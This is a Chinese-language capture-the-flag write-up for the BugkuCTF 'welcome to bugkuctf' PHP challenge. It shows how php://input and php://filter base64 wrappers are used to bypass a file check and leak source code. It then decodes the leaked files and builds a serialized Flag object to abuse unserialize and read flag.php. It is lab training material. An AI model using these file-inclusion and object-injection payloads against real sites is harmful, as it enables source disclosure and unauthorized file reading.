welcome to bugkuctf
(题目页面)
(题目源代码)
1.读取到的信息:
a. 用_GET方式传递三个参数
b. user不为空,并且作为文件名变量打开后的文件内容为 “welcome to the bugkuctf”
c. file要求为hint.php
d. password变量暂时未读到相关信息
2.根据读到的信息测试
注:当传进去的变量的参数作为文件名变量去打开时,可用 : 变量名=php://input ,php://input 作为参数,同时使用post 方式传入内容作为变量的文件内容。
3.读取hint.php源文件
注:读取 php 源文件,将其以base64编码的方式输出可通过 “ php://filter/read=convert.base64-encode/resource=php源文件名 ” 的方法
得到base64编码:
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
base64解码:
1 <?php 2 3 class Flag{//flag.php 4 public $file; 5 public function __tostring(){ 6 if(isset($this->file)){ 7 echo file_get_contents($this->file); 8 echo "<br>"; 9 return ("good"); 10 } 11 } 12 } 13 ?>
注:file_get_contents() 函数将一个文件读入一个字符串
读取到的信息:
a. 类名后面有 flag.php的注释
b. 类内有个__tostring()函数,将类作为字符串执行时会自动执行的一个函数,此函数执行时会输出类内变量 file 的内容
联想前面的flag注释,此时有可能会输出flag
4.读取index.php
用读取hint.php的方法读取出index.php,得到base64 编码:
PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg
解码:
1 <?php 2 $txt = $_GET["txt"]; 3 $file = $_GET["file"]; 4 $password = $_GET["password"]; 5 6 if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ 7 echo "hello friend!<br>"; 8 if(preg_match("/flag/",$file)){ 9 echo "不能现在就给你flag哦"; 10 exit(); 11 }else{ 12 include($file); 13 $password = unserialize($password); 14 echo $password; 15 } 16 }else{ 17 echo "you are not the number of bugku ! "; 18 } 19 20 ?> 21 22 <!-- 23 $user = $_GET["txt"]; 24 $file = $_GET["file"]; 25 $pass = $_GET["password"]; 26 27 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ 28 echo "hello admin!<br>"; 29 include($file); //hint.php 30 }else{ 31 echo "you are not admin ! "; 32 } 33 -->
注:serialize() 函数用于序列化对象或数组,并返回一个字符串。
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
读取信息:
a.
if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); '
通过preg_match匹配了flag关键字,也就无法输出flag.php内容,将希望寄托于之前的到的类
b.
$password = unserialize($password);
echo $password;
得到了password的用法,用于解序列化并将其输出,结合之前Flag类的输出猜测,如果password为Flag类的序列化,将其解序列化后便是Flag类,将其输出便可能得到flag
4.根据前面一系列操作和猜测,当前需要得到类Flag的序列化
编写代码得到Flag的序列化:
<?php class Flag{//flag.php public $file; } $a = new Flag(); $a->file = "flag.php"; $a = serialize($a); print_r($a); ?>
执行得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
5.验证猜测
作者:7oDo
仅供参考,请勿抄袭。
Hang Hang Hang !!!